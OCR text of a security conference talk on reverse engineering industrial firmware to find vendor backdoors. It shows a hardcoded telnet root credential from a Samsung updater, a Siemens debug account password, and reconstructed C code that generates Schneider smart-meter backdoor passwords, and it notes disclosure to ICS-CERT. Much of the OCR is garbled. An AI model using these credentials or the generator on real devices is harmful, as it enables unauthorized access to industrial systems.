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A journey into the secrets of Industrial Firmware

Here be backdoorss:
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Using Qur Past to Secure Your Future.

Who is this guy?

Ruben Santamarta
Security Researcher at IOActive
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What is this talk about?

* Reverse Engineering
e Industrial Devices
e Backdoors

What is this talk NOT about?

e FUD
* Opinions
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When the context matters...

A decade ago... Present day
security  context security conte)g?c;"a

)



10Active
HUNTING FOR BACKDOORS

What do we usually need?

* IDA + Tools

* Firmware/Software

* Documentation

e Target device (optional)
* Time
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A VERY BASIC EXAMPLE

Samsung Data Management Server vulnerable to SQLi (HVAC)
http://www.us-cert.gov/control_systems/pdf/ICSA-11-069-01.pdf

Mindmap

Read Advisory
Fix = Firmware Update

Read vendor's doc on how to
Update firmware

No authentication needed
Do they use a backdoor?

Reverse updater

T
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| | Active
5 Minutes later...remote root shell

using Jscape.Telnet;

using System;

using System.IO;

using System.Text;

using System.Threading;

using System.Windows.Forms;
[ namespace DMSUpdaterPlus

1

= internal class TelnetRunner

{

=]
(3

[

[ = I R |

string username = ["root";

string password = ['rkwjsdusrnth”;

string licensekKey ractory for .NET:Single Developer:Registered
private string receiveloginData;

private string defaultFolder;

private string hostname;

private int port = 23;

private Telnet telnet;

private TelnetScript script;

public TelnetRunner(string defaultFolder, string serverIPAddress)...

public void CheckDMSVersion()...

public bool DMSUpdaterStartScript()...

public bool DMSUpdaterEndScript()...

public void OnDontOption(cbject sender, TelnetDontOptionEventArgs args)...
public void OnDoOption(cbject sender, TelnetDoOptionEventArgs args)...

public void OnWontOption(cbject sender, TelnetWontOptionEventArgs args)...
public void OnWillOption(cbject sender, TelnetWillOptionEventArgs args)...
public void OnConnected(cbject sender, TelnetConnectedEventArgs args)...
public void OnDisconnected(cbject sender, TelnetDisconnectedEventArgs args)...
public void OnDataReceived(ocbject sender, TelnetDataReceivedEventArgs args)...

private
private
private

=
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IDENTIFYING KEY POINTS

GGAARD 14 GG 63 G300 A5 69 B5/49 62 OF B4 4B 12 62 2C 00 6A 0O BB A 6O PO B ........ Lol
GGARLS B9 66 6R PR PO AA B PR 3L M WD HEF S D T T HD L LBE  ........ 148-NOE-77L-11..
GGAA30 4D 6179 2832 372031 31 2039 33 34 5 0 BB 5L TE 6L EE 4 TS 6D 28 May 27 L1 63:58.Quantun
GG8B43 45 74 63 65 72 GE 65 74 20 45 73 65 63 75 74 69 76 65 20 66 69 T2 6D 77 Ethernet Executive firm
GGAAEH £1 72 65 2B 56 65 72 2E 20 35 2E 39 30 60 0D 09 00 09 DI 09 60 09 99 60 ore Ver. B.B0...........
GGAETS B9 0 67 BF 0O 08 B9 B3 04 60 BL B8 FF FF FF FF FF FF FF FF FF FF FF FF eeveeeeeeeennenneeeees
488899 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF evveeeeeeencnneeeenes
GBBBAS FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF  eeveeeeecennnnnseeees
GBAACH FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF eeveeeeeeencnneeeenes
G8BA0S FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF  eeveeeeeeeennnnneeees
888BFD FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF  evveeeeeeencnnneeenes
888165 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF  cvveneeeeeennnnneeeens
488128 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF  evveeeeeeeeennnneeenes
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Using Our Past to Secure Your Future.

GAB133 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF oiveviceenneeennsens
GAR156 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF P eeeeeeeeneeeeennee
888163 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF  reeereeeeneeennnens
888156 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF vveeveeennienennnens
GAB193 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF veercrennseennsnns
GAR1B8 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF P eeeeieeeeneeeeennens
GAB1C8 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF reeeeeeenneeennnnns
GARLEA FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF vvvevceennnenennnens
GABLFS FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF vvvernceennseennnnns
GAA216 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF P veeeeeeeeeeeeennen
888228 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF eeeeeeeeneeeennens
68824 FF FF FF FF FF FF FF FF FF 03 78 90 EC 5C 70 £C 14 47 96 AF GEB7 0703 .uvvvernn. %o AHLGLn .
GAA253 9E C1 BC B3 60 OF F6 13 B7 83 49 BC F6 9E CC 2D B E9 61 FD 3L EC 34 BA  ...iewn..low.-funuler.
GAA270 BE 43 56 24 B2 57 21 64 3P EI AC 23 65 FA DO 26 09 44 37 24 33 AL EP B .CV.IAT. e, 50743,
686268 11 5E 72 27 FE 62 C4 EB/12 61 4B 2C/82 CD AE E4/45 76 67 10 BB 18 29 39 AT '.....oe...ude... 9




iLE
445 R
Yi44FelF
445625
iA445e35
iR445 45
144565
B445e6E
iR445275
1R445255
1445695
18445205

6h 73 73 6b 64 20 B 4f
AR B BB 39 60 BA BB G4
6h Y3 73 65 64 BA BE BA
Bl B BB ch B4 BA BB ff
b3 15 BB Ze 61 73 65 Bf
41 29 c7 44 88 BHA 45 41
41 BB BB 24 13 BB BB 41
41 BH B8 18 B8 BB BB 5
Th el Ve ff 41 T4 Bl 64
65 76 BH ed 41 BA BE A

4d 46 B3 ho db B4 dc BA
A BB BB 43 6f 6d 78 72
BB BB B8 ed 41 AR BB 93
ol B8 B8 11 B8 AR B8 A3
6d 69 73 74 6f T2 79 ff
1e BH B8 61 76 63 74 ed
61 BH B8 &2 69 e BE ed
93 81 BA &4 63 69 6d BF
AR BB f4 51 b4 A1 BH o4
A3 BB BA cl 19 B2 BB 65
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R Compr
ezsed ROMFSY.T..

) Compr
25110 [ Ao

Wazh_history,
AV.D. Eh. . oavet,
A5, 0L L bin..,
B rnnnnnns dcim




(515 15 Me] Wb
BBRAsFA
BEa1a5S
(G15 15k Py S
515155 pEte
Baa45Aa
ABRA45S
HEE45E
BBRa435
BABaa4ER
HEE1CS
BABRAa4ER
BpBaa4FS
BEE51Aa
(51515 LapE
BpRas4A
BEES5S
(51515 Ly 5

Igor Skochinsky — Intro to embedded reverse engineering for
PC reversers (Recon 2010)
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AxB8Z2a4eB0—axA82a05888 6.579724: 188%
BxEaaZabbob-axpazZasZaa ©.455938: 1806%
BxAAaZabz2aa-Axaazab548a8 6. BoEGoA: 188%
BxaezZab400-axaazZasbconn 6.562761: 188%
BxHAZaboRd—-AxBa2a5580 &.B45161: 188%
BxABZasSaB-axaazasaas 6.475664: 1868%
BxAazZabaBi—-axaazabcaa &.88357a:  188%
BxAAZabcAd-AxBa2ab=0A &.43567V3: 188%
BxBaZabkeld—Axaazaca8a 5.687115: 188%
AxBazZacBBi—axaaz2ac2aa 5.56193453: 188%
BxBaZac288-axBa2a5488 &.71l45250: l1lBax
BxAAZac488-Axaaz2a6684 6.B42306: 188%
BxBaZaccBb—-axaa2as588a £.639151: 188%
BxHAZa65R0-AxBa2a6088 £.639415: 188%
BxB8Z2q0a8d—-Axaaz2atcaa 6.5127Aa:  188%
BxAaZaccBi—-axaaz2aceaa £.753181: 188%
BxAAZateld-AxBa2a aaa 6726647 188%
BxBaZaVana—-axaaza72aa £.7119%6: 188%
BxBazZavzea—-axaazav48a 6.5146086: 188%
BxBaZa7V488-axaa2qvoea & .693197: 188X
AxAAZaVoBa—-Axaazq7san L.6Z27365:  188%

( Radare output ) A
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L S | R J I S P. ..... exec
- -« BExECcUute an image - with MMU off.[-w t
imeout] [-b =load addr= [-1 =<length=]].
[-r =aamdi=sk addr= [-= -axamdisk Llen
ath=]1]. [-= "kernel command Line" ]
[Entry_point=]........ Can 't execute Lin
Ux — invalid entry qddress..... Wadit timeo
ut....base addres=s....length..kernel comm
and line..... ramdizk_addr....ramdisk_=ize
- - LSWap endianess. . [phvsical] starting a
ddres=..... Easze addrez= unknown - uze "-hb
" option..Using baze addresz 3¥p and lengt
h 2p..... Length required for non-standard
ba=se qddre=s=...About to =tart execution

at. %y — abort with *C within %d zecond=s..
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Basic approach

e |dentify compressed blobs
e Binwalk, entropy zones, header information...

* Rebase
e 'Load immediate' instructions
e Switch statements — Jumptables
* Boot loader, headers...

* Detect functions
* Prolog Patterns
* Rebuild symbols
* VxWorks Symbol table

e Libc identification / Manually
e Look for well-structured patterns s
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SIEMENS SCALANCE X200

Demo time!
1.- VxWorks - ARM
2.- Reconstruct Symbols

3.- Undocumented debug account
debug:ELSdebug

4.- Embedded Webserver
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Header
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Symbols

R2, =0xEEBG640

R3, [R2]

R3, =dword_AB50D0
RO, =aAddingLdsymbol
R1, [R3]

sub_HI0AODH

R3, #0

R3, [Hllg#'&':‘lr_lﬂ]

loc_ 14358
R3, =dword ABS0DO
RZ, [Hll,#'&':‘lr_lﬂ]

R3, [R3]
RZ, R3
loc_14370

docret_ledAd

B3,
R,
Rl,
RZ,
Rl,
BZ,
RO,

| Active’
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= xEEBG &0
[R1l,#var_10]

R2

Rl,LSL#4
=unk_RA3IF0T0 ; start
RZ, Rl

[R3]
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VxWorks WindWeb

Pagepack

WindWeb
+ VxWorks

compiler

| Active’
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firmware
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ADVANTECH EKI-1528

Demo time!

1.- Custom Redboot - LZO

2.- Reconstruct Partial Symbols

3.- Decompress ramdisk

4.- Emulate binaries by using gemu
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Emulate binaries

* Enlarge your...ramdisk
 We need to copy gemu-arm binary so..
* Create a new one with a larger size (mknod+mkfs+mount)
e Copy original ramdisk into the new one
e Umount + dd = suitable ramdisk for emulating binaries
e Setup cross-compile environment
 Compile gemu (static) to support user-mode emulation
* Enable additional executable formats in the kernel (binfmt)
e Copy ramdisk '/lib' to '/usr/gnemul/gemu-src'
* Mount new 'ramdisk’, copy gemu-{arch} and chroot it
 gemu-{arch} -g (remote gdb)

* Enjoy! A
4

e
P

[l

X/
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Schneider - Powerlogic ION Smart Meters

* Documentation

* Firmware Backdoor

e Software Backdoor

* Remote access

* Confidential documents exposed
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Using Our Past to Secure Your Future.

 Revenue Smart Meters - Locked from factory

e Regular Login = basic functionality

* Factory Login

Factory access Is restricted to Schneider Electric Technical Support, and should

only be enabled when requested by Schneider Electric authorized personnel.

=3




Reversing the firmware I Actelve

* From SRECORD to Binary

PML: Fri Mar 23 11:45:52 2007

PML: Device = 7558

PML: Firmware Version = 7558V331

PML: TriggerTime = 50808

PML: CRCTime = 98888

CRC16: @x3cec, Bxfre0Beea, Bxffo9dcile
SPRORPBR4B44521E

SquFFhUUﬁﬁﬁﬂ&ﬁﬁﬁUUﬁHDﬁUFFTHjELEUUUQJDHHFF 138AD918C3CABFF413842(920380

'”ﬁﬁlUUHf*fUqﬁihbfﬂilUHHFLEUHJ:lL”4ilFFFU LL

irl2, unk FF40CBOO0ER
Orl irl2, irl2, unk FF40CROORL

e Detect functions
e Rebuild symbols — no symbol table but...




_’,r‘ur

-
=

nction name
_STI__05__malloc
~8T1_ 15 malloc
__free

__init

__insert
__malloc
__malloc_check fn
__mallopt_fix
calloc

free

get_maore

inflate

A
7]
f]
=
7]
-
K
Lf]
Fi
£l
7]
£]
il

|__|_I

Ly
|

mall_init

I'mpilementatron modile

Copyright

Pescription :

Impilemention of libc functions

1889 Diasb Data AB,

Malloc.cC

void *"Malloc(size £ siza)

volid

void Free (void

int

SELrucc

mallopt (int,

mallinfo

*calloc(size €

*otr)

nmemb .,

int)

mallinfo()

A  Segment
ROM
ROM
ROM
ROM
ROM
ROM
ROM
ROM
ROM
ROM
ROM
ROM
ROM

gize t

Sweden

size)

Start
FF403B0C
FF403880
FF403F04
FF4049E0
FF403A18
FF403C00
FF4038A4
FF403B3C
FF403EASB
FF4040B8
FF403A3C
FF40050C
FF403964

. . Active
Rebuild symbols by matching c to assembly  vsrouresicsear vourpute

Length

00000074
00000024
00000184
00000024
00000024
00000248
000000C0
000000C4
0000005C
00000050
00000100
00000568
00000084
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Image - Boot Loader + Compressed OS

addi sr3, %8p, Ox4B+var 40 |0O5BFS FF FF FF FF|FF FF FF FF|FF FF FF FF|FF FF FF FF|FF FF FF FF FF FF FF FF
1i trd, 2 3 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF

bl inflate Jo5C28 FF FF FF FF FF FF FF FF | ¥8 DA AC BD|BD 76 B4 D& B5 37 BE EV |23 96 EB 78

i FFROODE24C:

addi ir3i, %8p, Ox4iB+var i

Bl sub FF&2O00310

- Buls FF2DO36B4%

ba O0xFFE00000 ¥ entry point

irll, -UxXFDF UxFo208220
isp, irll, -0x7TDEO UxFO2Z08220
irli, -UxXFFD UXFOO3TEZD
irl3, %rla, OxTEZOQ UEFOO3ITELD
:FFEOOOL10 ] irtoec, ((byte FFAT9B40+0x10000)8hR)
tFFEOO01 & &L irtoc, irtoc, -Ox64CO byte FFATSB4OD
i FFEOO018 ] iro, 0
:FFEOOOL1C ird, -Ox4e0({isp)
tFFEOO00Z0 ] sub_FFAGAEZIC
i FFEOO0E & sub_FFAG915H
:FFEOODZE
:FFEOODZE ] sub_FFAO000CC

AMX PPC32 Kernel g
e
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Sure,a backdoor password. Ok. Wait... what ?!

:| ROM:FFQZ2E... 00000022 C Setting backdoor password to: %u\n

ir3, %r3l, O

strlen .
ir3, OxE <—— Seriallen ?
loz_ FF924CHA

iriag, -UxFDF UxFOZ086CE

irih, irie, -0x7932 UxFOZ086CE
iri, dr2a, 0

ird, %ril, O

ir5, OxF

strocpy

ir3, ((as_l1le+0x10000)8h)

iri, %ird, -0xl35B as_1a

ird, irie, 0O

printf

ir3, %ril, O

generate_password

Bul FFRCHB7TH

gul FFSCHBLC

ird, %rd, O

ir3, ((aSettingBackdoo+0x10000)8h)
ir3, %r3d, -0x1357 aSettingBackdoo
printf

Serial#: MI-@ i-81 J Serial == OxE bytes

login:

)



generate password:

- BEE
- BEE
- BEE
- BEE
- BEE

mflr
addi
B LW
1i

BEw
BEw
BEw
BEw
BEw
addi
1i

bl

lis

addi
addi
bl

lwz

mElr
addi
bir

var 10, -0x10
var C, -0xC
var 8, -8

var 4, -4

arg 4, 4

LB o]
ird, %r3, O

is5g, -Oxl18(isp)

ir3, O

ird, OxlB+arg_4(%s8p)
ir3, OxlB8+var_4(%8p)
ir3, OxlB8+var_B(isp)
ir3, OxlB8+var_C(%8p)
ir3, Oxl8+var_l0(%sp)
%r3, %sp, OxlB8+var_10
ir5, 0x10

BEroc ¥ r3a r rd r r5 length
ir3., Bh #
ird, %ira., :

ird, %sp, OxlB+var 10
compute hash

2rd, OxlA+arg 4(%i8p)
L0

*8p, %sp, Oxl1H

uture.




compute hashs # CODE XHEF: generate pasgwcpd+IC]p S

i8p,] -0x10(tsp)

irlz, Oxl1B8

irlz

$r3l, OxlO+var 4(%sp)
ir3l, Of{Exr3)

irsS, OD{drs)

irg, OxC{irs)

AT, B{ir4)

ir3, 4£{4ir3j)

irgd, -UOxglAs # OxSESTTIBS
ire, S{ira)

irs, o

irg, ArH, Ox7598H% * OZSESTTY9HY

loc FFI8039C: # CODE XHREF: compute hash+78]]
irs, Ars, %ird
¥#rll, %ir3a,
irll, %rll, %r5S
Arl, %r3i, %rs
irlE, %¥r3, 5
¥rll, %rll, Eirlo
irlZ:, ¥rliE, %ir4s
¥rll, %rll, irlZ
ir3l, #%#r3l, irll
irll, %r3l, <
¥rll, Eirlo, 1ir7
irlZ, %¥r3l, %*rs
¥#rll, %xr3l, 5
irld, %rl0, irlZ2
#rll, %rll, %iro
irlo, %rlo, irll
¥r3, %r3d, %rlo
logo FFIBO03I9C
irls, Ox5F5 # Ox5FSEL1CO
irla, irlz2, —-OxzlFO00Q0 ¥ OSFSELCOOD
ird, 3Ar31, %rlZE
¥rd, %rg, %rla
ir3, 4ird, 2ir3il
fr3l, Oxl0+var 4(%8p)
t8p, isp, O0x10




™

unsigned int generateBackdoorPwd(char®* szMagic, char* szSerial) I A t'
{ clive

Using Our Past to Secure Your Future.

unsigned int v5;

unsigned int v6;

unsigned int v7,vE8;
unsigned int al,aZ,a3,a4;
unsigned int password;

int 1i;

L B
vb = *(unsigned 1 *JszMagic;
v5 = *(unsigned 1 *J(szMagic + 4);

al = *(unsigned 1 *J(szSerial + 4);
az *(unsigned 1 *(szSerial);
a3 = *(unsigned 1 *JI(szSerial + @xC);

a4 = *(unsigned 1 *I(szSerial + 8);

v8 = Bx9E5779B9;

for( 1 =27; 1 > 8; --1)
{
w7 += v8:
ve += (al + (v5 533 A (w7 + v5) A (a2 + 16 * v5);
vs += (a3 + (vb 51 A (w7 + vB) A (a4 + 16 * vB);
}

password = vb % Bx5FS5E100;

return password;




®
-
o

Behind the Scenes
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Schneider decided to implement a backdoor but ...why?

* First step was taking a look at IONSetup.exe

Address Length

v data Q0FE ..
w2t data007E...
" data007E. .
w0 data007E. .

ype S lrir'lg

O -

Loginn
Factory Login

Factomy Login

“. data:007E...
" data:007E...
L data Q07E .
. data007E...
" data:007E...
«* data007E.. 00000029
w. data:007E. 00000027
w " data00FE. Q0000026
wv dataO07E. 00000036

Factory Password:
Zld\n

Factory Access Granted

Urable factory level,

Mo respo sending password.

Mo responze to sending factory password.

Urhable to obtain fal::t[ll_l,l ||:|E|il'| prompt.

Mo response to factory login request.

Logged in at factory level. Switching to debug mode.

It turns out there is a backdoor also in the software :)

e Demo time! 2
/‘:‘1

"Il-ll g
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Then | googled 'omI1998' and...

* First result was an open ftp server containing
confidential documentation from the vendor

 Some of those documents were detailing the
backdoor functionality
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1. ICS-CERT and Schneider were informed.

2. After few hours, the ftp was closed and Google removed
it from the cache as well.

3. Schneider acknowledged the backdoor.

4. A new set of firmwares is ready and some of them are
being already deployed.

5. Forever - DAY.
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CONCLUSIONS

1. | hope someone can use this info to better secure their
devices.

2. 1 hope someone can use this info to research into other
devices.

3. | hope someday both of them share that research
somewhere :)
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Thank you so much for coming...have fun!

rubens (at) ioactive (dot) com

@reversemode Q\ /,-))

Qﬂ@gﬁ
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Please complete the Speaker Feedback Surveys
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